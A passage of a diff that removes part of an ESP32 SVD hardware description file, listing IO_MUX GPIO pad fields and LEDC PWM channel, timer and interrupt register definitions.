-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO24</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>LEDC</name>
-      <description>LED Control PWM (Pulse Width Modulation)</description>
-      <groupName>LEDC</groupName>
-      <baseAddress>0x3FF59000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x198</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>LEDC</name>
-        <value>43</value>
-      </interrupt>
-      <interrupt>
-        <name>TIMER1</name>
-        <value>56</value>
-      </interrupt>
-      <interrupt>
-        <name>TIMER2</name>
-        <value>57</value>
-      </interrupt>
-      <registers>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>HSCH%s_CONF0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_SEL</name>
-              <description>There are four high speed timers  the two bits are used to select one of them for high speed channel0.  2'b00: seletc hstimer0.   2'b01: select hstimer1.  2'b10: select hstimer2.    2'b11: select hstimer3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SIG_OUT_EN</name>
-              <description>This is the output enable control bit for high speed channel0</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IDLE_LV</name>
-              <description>This bit is used to control the output value when high speed channel0 is off.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>HSCH%s_HPOINT</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HPOINT</name>
-              <description>The output value changes to high when htimerx(x=[0 3]) selected by high speed channel0 has reached reg_hpoint_hsch0[19:0]</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>HSCH%s_DUTY</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DUTY</name>
-              <description>This register represents the current duty of the output signal for high speed channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>HSCH%s_CONF1</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x40000000</resetValue>
-          <fields>
-            <field>
-              <name>DUTY_SCALE</name>
-              <description>This register controls the increase or decrease step scale for high speed channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CYCLE</name>
-              <description>This register is used to increase or decrease the duty every reg_duty_cycle_hsch0 cycles for high speed channel0.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_NUM</name>
-              <description>This register is used to control the num of increased or decreased times for high speed channel0.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_INC</name>
-              <description>This register is used to increase the duty of output signal or decrease the duty of output signal for high speed channel0.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_START</name>
-              <description>When reg_duty_num_hsch0 reg_duty_cycle_hsch0 and reg_duty_scale_hsch0 has been configured. these register won't take effect until set reg_duty_start_hsch0. this bit is automatically cleared by hardware.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>HSCH%s_DUTY_R</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DUTY_R</name>
-              <description>This register represents the current duty cycle of the output signal for high-speed channel %s</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>LSCH%s_CONF0</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_SEL</name>
-              <description>There are four low speed timers  the two bits are used to select one of them for low speed channel0.  2'b00: seletc lstimer0.   2'b01: select lstimer1.  2'b10: select lstimer2.    2'b11: select lstimer3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SIG_OUT_EN</name>
-              <description>This is the output enable control bit for low speed channel0.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IDLE_LV</name>
-              <description>This bit is used to control the output value when low speed channel0 is off.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PARA_UP</name>
-              <description>This bit is used to update register LEDC_LSCH0_HPOINT and LEDC_LSCH0_DUTY for low speed channel0.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>LSCH%s_HPOINT</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HPOINT</name>
-              <description>The output value changes to high when lstimerx(x=[0 3]) selected by low speed channel0 has reached reg_hpoint_lsch0[19:0]</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>LSCH%s_DUTY</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <access>read-write</access>
-          <fields>
-            <field>
-              <name>DUTY</name>
-              <description>This register represents the current duty of the output signal for low speed channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>LSCH%s_CONF1</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x40000000</resetValue>
-          <fields>
-            <field>
-              <name>DUTY_SCALE</name>
-              <description>This register controls the increase or decrease step scale for low speed channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CYCLE</name>
-              <description>This register is used to increase or decrease the duty every reg_duty_cycle_lsch0 cycles for low speed channel0.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_NUM</name>
-              <description>This register is used to control the num of increased or decreased times for low speed channel6.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_INC</name>
-              <description>This register is used to increase the duty of output signal or decrease the duty of output signal for low speed channel6.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_START</name>
-              <description>When reg_duty_num_hsch1 reg_duty_cycle_hsch1 and reg_duty_scale_hsch1 has been configured. these register won't take effect until set reg_duty_start_hsch1. this bit is automatically cleared by hardware.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x14</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>LSCH%s_DUTY_R</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DUTY_R</name>
-              <description>This register represents the current duty cycle of the output signal for low-speed channel %s</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>25</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>4</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-3</dimIndex>
-          <name>HSTIMER%s_CONF</name>
-          <addressOffset>0x140</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01000000</resetValue>
-          <fields>
-            <field>
-              <name>DUTY_RES</name>
-              <description>This register controls the range of the counter in high speed timer0. the counter range is [0 2**reg_hstimer0_lim] the max bit width for counter is 20.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIV_NUM</name>
-              <description>This register is used to configure parameter for divider in high speed timer0 the least significant eight bits represent the decimal part.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PAUSE</name>
-              <description>This bit is used to pause the counter in high speed timer0</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST</name>
-              <description>This bit is used to reset high speed timer0 the counter will be 0 after reset.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TICK_SEL</name>
-              <description>This bit is used to choose apb_clk or ref_tick for high speed timer0. 1'b1:apb_clk  0:ref_tick</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LIM</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>4</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-3</dimIndex>
-          <name>HSTIMER%s_VALUE</name>
-          <addressOffset>0x144</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT</name>
-              <description>software can read this register to get the current counter value in high speed timer0</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>4</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-3</dimIndex>
-          <name>LSTIMER%s_CONF</name>
-          <addressOffset>0x160</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01000000</resetValue>
-          <fields>
-            <field>
-              <name>DUTY_RES</name>
-              <description>This register controls the range of the counter in low speed timer0. the counter range is [0 2**reg_lstimer0_lim] the max bit width for counter is 20.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DIV_NUM</name>
-              <description>This register is used to configure parameter for divider in low speed timer0 the least significant eight bits represent the decimal part.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>18</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PAUSE</name>
-              <description>This bit is used to pause the counter in low speed timer0.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RST</name>
-              <description>This bit is used to reset low speed timer0 the counter will be 0 after reset.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TICK_SEL</name>
-              <description>This bit is used to choose slow_clk or ref_tick for low speed timer0. 1'b1:slow_clk  0:ref_tick</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PARA_UP</name>
-              <description>Set this bit  to update  reg_div_num_lstime0 and  reg_lstimer0_lim.</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LIM</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>4</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-3</dimIndex>
-          <name>LSTIMER%s_VALUE</name>
-          <addressOffset>0x164</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT</name>
-              <description>software can read this register to get the current counter value in low speed timer0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x180</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HSTIMER0_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel0  counter overflow.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER1_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel1  counter overflow.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER2_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel2  counter overflow.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER3_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel3  counter overflow.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER0_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel0  counter overflow.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER1_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel1  counter overflow.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER2_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel2  counter overflow.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER3_OVF_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel3  counter overflow.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH0_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 0 duty change done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH1_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 1 duty change done.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH2_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 2 duty change done.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH3_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 3 duty change done.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH4_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 4 duty change done.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH5_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 5 duty change done.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH6_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 6 duty change done.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH7_INT_RAW</name>
-              <description>The interrupt raw bit for high speed channel 7 duty change done.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH0_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 0 duty change done.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH1_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 1 duty change done.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH2_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 2 duty change done.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH3_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 3 duty change done.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH4_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 4 duty change done.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH5_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 5 duty change done.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH6_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 6 duty change done.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH7_INT_RAW</name>
-              <description>The interrupt raw bit for low speed channel 7 duty change done.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x184</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HSTIMER0_OVF_INT_ST</name>
-              <description>The interrupt status bit for high speed channel0  counter overflow event.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER1_OVF_INT_ST</name>
-              <description>The interrupt status bit for high speed channel1  counter overflow event.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER2_OVF_INT_ST</name>
-              <description>The interrupt status bit for high speed channel2  counter overflow event.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HSTIMER3_OVF_INT_ST</name>
-              <description>The interrupt status bit for high speed channel3  counter overflow event.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER0_OVF_INT_ST</name>
-              <description>The interrupt status bit for low speed channel0  counter overflow event.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER1_OVF_INT_ST</name>
-              <description>The interrupt status bit for low speed channel1  counter overflow event.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER2_OVF_INT_ST</name>
-              <description>The interrupt status bit for low speed channel2  counter overflow event.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>LSTIMER3_OVF_INT_ST</name>
-              <description>The interrupt status bit for low speed channel3  counter overflow event.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH0_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 0 duty change done event.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH1_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 1 duty change done event.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH2_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 2 duty change done event.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH3_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 3 duty change done event.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH4_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 4 duty change done event.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH5_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 5 duty change done event.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH6_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 6 duty change done event.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH7_INT_ST</name>
-              <description>The interrupt status bit for high speed channel 7 duty change done event.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH0_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 0 duty change done event.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH1_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 1 duty change done event.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH2_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 2 duty change done event.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH3_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 3 duty change done event.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH4_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 4 duty change done event.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH5_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 5 duty change done event.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH6_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 6 duty change done event.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
